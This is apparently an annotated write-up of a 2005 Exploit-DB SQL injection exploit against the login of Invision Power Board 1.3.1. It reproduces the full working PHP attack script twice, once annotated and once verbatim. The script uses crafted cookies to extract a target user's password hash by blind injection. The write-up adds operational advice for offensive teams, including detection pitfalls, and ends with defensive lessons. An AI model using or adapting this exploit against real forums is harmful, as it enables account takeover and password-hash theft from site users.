Invision Power Board 1.3.1 'login.php' SQL Injection Explained

Invision Power Board 1.3.1 'login.php' SQL Injection Explained
What this paper is
This paper details a SQL injection vulnerability in Invision Power Board (IPB) version 1.3.1. The vulnerability allows an attacker to bypass authentication and potentially extract sensitive information, specifically the password hash of a user with a known ID. The exploit works by manipulating the login.php script's behavior through crafted HTTP cookies.
Simple technical breakdown
The core of the exploit lies in how the Invision Power Board's login mechanism handles user credentials and a specific SQL query.
- SQL Injection: The script is vulnerable to SQL injection because it doesn't properly sanitize user input before incorporating it into SQL queries.
- Authentication Bypass: By injecting specific SQL commands into the cookie, an attacker can trick the database into thinking a valid login attempt is occurring, even with incorrect credentials.
- Information Disclosure: The exploit then uses a brute-force technique to guess characters of a target user's password hash, one character at a time. It does this by repeatedly sending crafted requests and observing the server's response.
Complete code and payload walkthrough
The provided PHP script is designed to exploit the SQL injection vulnerability. Let's break down its components:
<?php
/*
<= 1.3.1 Final
/str0ke
*/
$server = "SERVER"; // Target web server hostname or IP address.
$port = 80; // Target web server port (default HTTP).
$file = "PATH"; // Path to the Invision Power Board installation on the server.
$target = 81; // The user ID of the target whose password hash we want to extract.
/* User id and password used to fake-logon are not important. '10' is a
random number. */
$id = 10; // A dummy user ID used in the initial part of the query.
$pass = ""; // A dummy password hash, not relevant for this exploit.
$hex = "0123456789abcdef"; // Hexadecimal characters used for brute-forcing the password hash.
for($i = 1; $i <= 32; $i++ ) { // Loop to guess each character of the password hash (assuming a 32-character hash).
$idx = 0; // Index for iterating through the $hex string.
$found = false; // Flag to indicate if the current character has been found.
while( !($found) ) { // Loop until the correct character for the current position ($i) is found.
$letter = substr($hex, $idx, 1); // Get the current hexadecimal character to test.
/* %2527 translates to %27, which gets past magic quotes.
This is translated to ' by urldecode. */
// The cookie string is the core of the exploit.
// It's designed to inject SQL commands into the query.
$cookie =
"member_id=$id;pass_hash=$pass%2527%20OR%20id=$target";
$cookie .=
"%20HAVING%20id=$target%20AND%20MID(`password`,$i,1)=%2527" . $letter;
/* Query is in effect: SELECT * FROM ibf_members
WHERE id=$id AND password='$pass' OR
id=$target
HAVING id=$target AND
MID(`password`,$i,1)='$letter' */
// Explanation of the constructed SQL query:
// - `id=$id AND password='$pass'` : This part attempts a normal login with dummy credentials.
// - `OR id=$target`: This is the first injection point. It makes the WHERE clause true if the target ID matches.
// - `HAVING id=$target AND MID(`password`,$i,1)='$letter'`: This is the crucial part.
// - `HAVING` is used to filter groups, but here it's used to add conditions after the WHERE clause.
// - `MID(`password`,$i,1)='$letter'`: This function extracts a single character from the `password` column at position `$i` and compares it to the guessed `$letter`.
// - The combination effectively checks if the character at position `$i` of the target user's password matches the guessed `$letter`.
// The %2527 is URL encoding for %27, which is URL encoding for '.
// This is a technique to bypass PHP's magic_quotes_gpc feature, which would otherwise escape single quotes.
// When the server processes the cookie, %2527 becomes %27, then urldecode turns it into '.
$header = getHeader($server, $port, $file .
"index.php?act=Login&CODE=autologin", $cookie); // Send the crafted cookie via an HTTP HEAD request.
if( !preg_match('/Location:(.*)act\=Login\&CODE\=00\r\n/',
$header) ) { // Check the HTTP response headers.
// If the 'Location' header does NOT contain 'act=Login&CODE=00', it means the login failed in the usual way.
// This indicates that the injected SQL condition was met, meaning the guessed character is correct.
echo $i . ": " . $letter . "\n"; // Print the found character and its position.
$found = true; // Set the flag to exit the inner while loop.
$hash .= $letter; // Append the found character to the accumulating password hash.
} else {
$idx++; // If the character was incorrect, increment the index to try the next hex character.
}
}
}
echo "\n\nFinal Hash: $hash\n"; // Print the complete extracted password hash.
// Function to construct and send an HTTP HEAD request.
function getHeader($server, $port, $file, $cookie) {
$ip = gethostbyname($server); // Resolve the server hostname to an IP address.
$fp = fsockopen($ip, $port); // Open a socket connection to the server.
if (!$fp) { // Check if the socket connection failed.
return "Unknown"; // Return an error indicator.
} else {
// Construct the HTTP HEAD request.
$com = "HEAD $file HTTP/1.1\r\n";
$com .= "Host: $server:$port\r\n"; // Specify the host and port.
$com .= "Cookie: $cookie\r\n"; // Include the crafted cookie.
$com .= "Connection: close\r\n"; // Tell the server to close the connection after the response.
$com .= "\r\n"; // End of headers.
fputs($fp, $com); // Send the HTTP request over the socket.
// Read the response headers until the end of headers marker (\r\n\r\n) is found.
do {
$header.= fread($fp, 512);
} while( !preg_match('/\r\n\r\n$/',$header) );
}
return $header; // Return the collected HTTP headers.
}
?>
// milw0rm.com [2005-06-08]Code Fragment/Block -> Practical Purpose Mapping:
$server,$port,$file: Configuration variables for the target web application.$target: The user ID whose password hash is being exfiltrated.$id,$pass: Dummy credentials used in the initial part of the SQL query.$hex: The set of characters to try for each position of the password hash.for($i = 1; $i <= 32; $i++ ): Outer loop iterating through each character position of the password hash (1 to 32).while( !($found) ): Inner loop that attempts to find the correct character for the current position$i.$letter = substr($hex, $idx, 1);: Selects the next hexadecimal character from$hexto test.$cookie = "member_id=$id;pass_hash=$pass%2527%20OR%20id=$target%20HAVING%20id=$target%20AND%20MID(password,$i,1)=%2527" . $letter;: This is the core of the exploit. It constructs a malicious cookie string.%2527: URL encoding for%27, which decodes to'. This bypasses PHP'smagic_quotes_gpc.OR id=$target: This part of the injected SQL makes theWHEREclause evaluate to true if the target user ID matches.HAVING id=$target AND MID(password,$i,1)=%2527+$letter: This is the character-guessing mechanism. It checks if the character at position$iof the target user's password matches the current$letter.
getHeader($server, $port, $file . "index.php?act=Login&CODE=autologin", $cookie): Calls the function to send the crafted HTTP request.if( !preg_match('/Location:(.*)act\=Login\&CODE\=00\r\n/', $header) ): Checks the HTTP response. If the expected redirect (act=Login&CODE=00) is not present, it implies the injected SQL condition was met, meaning the guessed character is correct.$hash .= $letter;: Appends the correctly guessed character to the$hashvariable.function getHeader(...): A helper function to establish a socket connection and send an HTTP HEAD request.fsockopen($ip, $port): Opens a raw network socket.fputs($fp, $com): Sends the constructed HTTP request.fread($fp, 512): Reads the response headers.
Shellcode/Payload Segments:
This exploit does not use traditional shellcode. Instead, the "payload" is the crafted HTTP cookie string that, when processed by the vulnerable web application, causes the database to execute unintended SQL commands. The script itself acts as the "executor" by sending these crafted requests and interpreting the responses.
The exploit's "payload" is the dynamically constructed cookie:member_id=10;pass_hash=...%2527%20OR%20id=81%20HAVING%20id=81%20AND%20MID(password,X,1)=%2527Y
Where:
10is$id(dummy user ID).81is$target(target user ID).Xis the current character position being guessed (from 1 to 32).Yis the current hexadecimal character being tested (from$hex).
The script iteratively builds the password hash character by character.
Practical details for offensive operations teams
- Required Access Level: Network access to the target web server (HTTP/HTTPS ports). No prior authentication or user privileges are strictly required for this specific exploit, as it targets the login mechanism.
- Lab Preconditions:
- A running instance of Invision Power Board v1.3.1 (or a similarly vulnerable version).
- A web server configured to host the IPB installation.
- A database backend (e.g., MySQL) for the IPB.
- A user account with a known ID (
$target) whose password hash is desired. - The PHP interpreter to run the exploit script.
- Tooling Assumptions:
- A PHP environment capable of running the provided script.
- Basic network connectivity.
- Knowledge of the target server's hostname/IP and the path to the IPB installation.
- Execution Pitfalls:
magic_quotes_gpc: Ifmagic_quotes_gpcis not enabled on the target PHP installation, the%2527encoding might not be necessary, and a simpler'might suffice. However, the provided exploit uses the double encoding to ensure bypass.- Server Load: The exploit makes a significant number of HTTP requests (32 characters * up to 16 attempts per character = up to 512 requests). This can be noisy and may trigger intrusion detection systems or overload the target server.
- Firewalls/WAFs: Network firewalls or Web Application Firewalls (WAFs) might detect the unusual cookie content or the high volume of requests.
- Incorrect Target Information: Using the wrong
$server,$port,$file, or$targetID will lead to failure. - Database Schema Changes: If the
ibf_memberstable or thepasswordcolumn has been renamed or altered, the exploit will fail. - Password Hash Length: The exploit assumes a 32-character password hash. If the actual hash length differs, the outer loop (
$i <= 32) would need adjustment. fsockopenRestrictions: Some hosting environments might disablefsockopenfor security reasons, preventing the script from making outbound connections.
- Expected Telemetry:
- Web Server Logs: Numerous
HEADrequests toindex.php?act=Login&CODE=autologinwith long, unusualCookieheaders. - Database Logs: Potentially, many
SELECTqueries against theibf_memberstable, though the injected query might be optimized by the database to appear as a single, complex query. - Network Traffic: High volume of HTTP traffic from the attacker's IP to the target web server.
- Application Behavior: The target application might appear to be slow or unresponsive due to the load. If the exploit is successful, the attacker can then log in as the target user or use the extracted hash for other purposes.
- Web Server Logs: Numerous
Where this was used and when
- Context: This exploit targets Invision Power Board (IPB), a popular forum software. The vulnerability was likely exploited by attackers to gain unauthorized access to forum administration panels or user accounts.
- Approximate Year: Published in June 2005. Exploits of this nature were common in the mid-2000s as web application security practices were less mature. It's plausible this vulnerability was actively exploited around the time of its publication.
Defensive lessons for modern teams
- Input Validation and Sanitization: This is the most critical lesson. All user-supplied input, especially data that will be incorporated into database queries, must be rigorously validated and sanitized to prevent injection attacks. Use parameterized queries or prepared statements.
- Secure Coding Practices: Developers must be trained on common vulnerabilities like SQL injection and understand how to avoid them.
- Web Application Firewalls (WAFs): WAFs can help detect and block malicious requests containing known injection patterns. However, they are not a silver bullet and can be bypassed.
- Regular Patching and Updates: Keeping web applications and their underlying frameworks (like IPB) updated to the latest stable versions is crucial, as vendors release patches for known vulnerabilities.
- Least Privilege: Database users should operate with the minimum necessary privileges. This limits the damage an attacker can do even if they achieve SQL injection.
- Monitoring and Logging: Comprehensive logging of web server and database activity, coupled with effective monitoring and alerting, can help detect exploitation attempts.
- Obfuscation Bypass: Attackers often use encoding and obfuscation techniques (like
%2527) to bypass security controls. Defenses need to be robust enough to de-obfuscate and inspect payloads.
ASCII visual (if applicable)
This exploit's flow can be visualized as a loop of requests and responses.
+-----------------+ +-----------------+ +-----------------+
| Attacker Script |----->| Target Web App |----->| Target Database |
| (PHP) | | (IPB login.php) | | (ibf_members) |
+-----------------+ +-----------------+ +-----------------+
^ |
| | (HTTP Request with crafted Cookie)
| v
| +-----------------+
+------| HTTP Response |
| (Headers) |
+-----------------+
|
| (Check Location header for success/failure)
v
+-----------------------------------------------------------------+
| Script analyzes response to determine if guessed character is correct |
| and continues loop until full hash is extracted. |
+-----------------------------------------------------------------+Source references
- Paper ID: 1036
- Paper Title: Invision Power Board 1.3.1 - 'login.php' SQL Injection
- Author: anonymous
- Published: 2005-06-08
- Keywords: PHP, webapps
- Paper URL: https://www.exploit-db.com/papers/1036
- Raw URL: https://www.exploit-db.com/raw/1036
Original Exploit-DB Content (Verbatim)
<?php
/*
<= 1.3.1 Final
/str0ke
*/
$server = "SERVER";
$port = 80;
$file = "PATH";
$target = 81;
/* User id and password used to fake-logon are not important. '10' is a
random number. */
$id = 10;
$pass = "";
$hex = "0123456789abcdef";
for($i = 1; $i <= 32; $i++ ) {
$idx = 0;
$found = false;
while( !($found) ) {
$letter = substr($hex, $idx, 1);
/* %2527 translates to %27, which gets past magic quotes.
This is translated to ' by urldecode. */
$cookie =
"member_id=$id;pass_hash=$pass%2527%20OR%20id=$target";
$cookie .=
"%20HAVING%20id=$target%20AND%20MID(`password`,$i,1)=%2527" . $letter;
/* Query is in effect: SELECT * FROM ibf_members
WHERE id=$id AND password='$pass' OR
id=$target
HAVING id=$target AND
MID(`password`,$i,1)='$letter' */
$header = getHeader($server, $port, $file .
"index.php?act=Login&CODE=autologin", $cookie);
if( !preg_match('/Location:(.*)act\=Login\&CODE\=00\r\n/',
$header) ) {
echo $i . ": " . $letter . "\n";
$found = true;
$hash .= $letter;
} else {
$idx++;
}
}
}
echo "\n\nFinal Hash: $hash\n";
function getHeader($server, $port, $file, $cookie) {
$ip = gethostbyname($server);
$fp = fsockopen($ip, $port);
if (!$fp) {
return "Unknown";
} else {
$com = "HEAD $file HTTP/1.1\r\n";
$com .= "Host: $server:$port\r\n";
$com .= "Cookie: $cookie\r\n";
$com .= "Connection: close\r\n";
$com .= "\r\n";
fputs($fp, $com);
do {
$header.= fread($fp, 512);
} while( !preg_match('/\r\n\r\n$/',$header) );
}
return $header;
}
?>
// milw0rm.com [2005-06-08]